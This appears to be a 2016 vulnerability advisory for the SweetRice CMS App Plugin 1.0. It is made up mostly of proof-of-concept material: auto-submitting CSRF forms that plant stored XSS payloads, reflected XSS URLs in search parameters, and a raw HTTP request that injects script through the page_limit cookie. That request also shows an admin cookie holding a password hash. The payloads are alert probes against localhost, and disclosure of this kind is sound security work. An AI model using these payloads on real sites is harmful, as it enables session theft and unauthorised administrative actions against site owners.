<!--
Title: SweetRice App Plugin - Multiple XSS / CSRF
Application: App Plugin
Versions Affected: 1.0
Vendor URL: http://www.basic-cms.org/
Software URL: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
Discovered by: Ashiyane Digital Security Team
Bugs: CSRF & XSS
Date: 17-Sept-2016

Proof of Concept :

1. Stored Xss in Custom App URL:
Vulnerable Parameter : url[home]
-->
<form method="post" 
action="http://localhost/as/?app_mode=links&plugin=App&type=plugin">
     <input type="text" name="url[home]" 
value='"><script>alert(1)</script>'>
     <input type="hidden" name="lids[home]" value="1">
     <input type="submit" value="Done">
</form>
<!--
2. Xss in search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=database&keyword="><script>alert(1)</script>

3. Xss in Page Limit:
Payload should inject in cookies.
Vulnerable Parameter : page_limit
Headers :

GET /as/?app_mode=database&plugin=App&type=plugin& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/1/as/?app_mode=database&plugin=App&type=plugin&
Cookie: dashboad_bg=#3f0840; page_limit="><script>alert(1)</script>; 
admin=admin; passwd=5f4dcc3b5aa765d61d8327deb882cf99; lang=en-us; 
__atuvc=15|41; 
grav-tabs-state={"tab-content.options.advanced":"data.content"}; 
sweetrice=5h30gqavosudpnferatlh9oca4
Connection: keep-alive
Upgrade-Insecure-Requests: 1

4. Stored Xss and Csrf In Create Form:
-->
<form method="post" 
action="http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&mode=insert">
     <input type="hidden" name="id" value="">
     <input type="hidden" id="name" name="name" 
value='<script>alert(1)</script>'>
     <input type="hidden" id="action" name="action" 
value='<script>alert(2)</script>'>
     <input type="submit" value="Done">
</form>

<!--
5. Xss in Search:
http://localhost/1/as/?type=plugin&plugin=App&app_mode=form&search="><script>alert(1)</script>
-->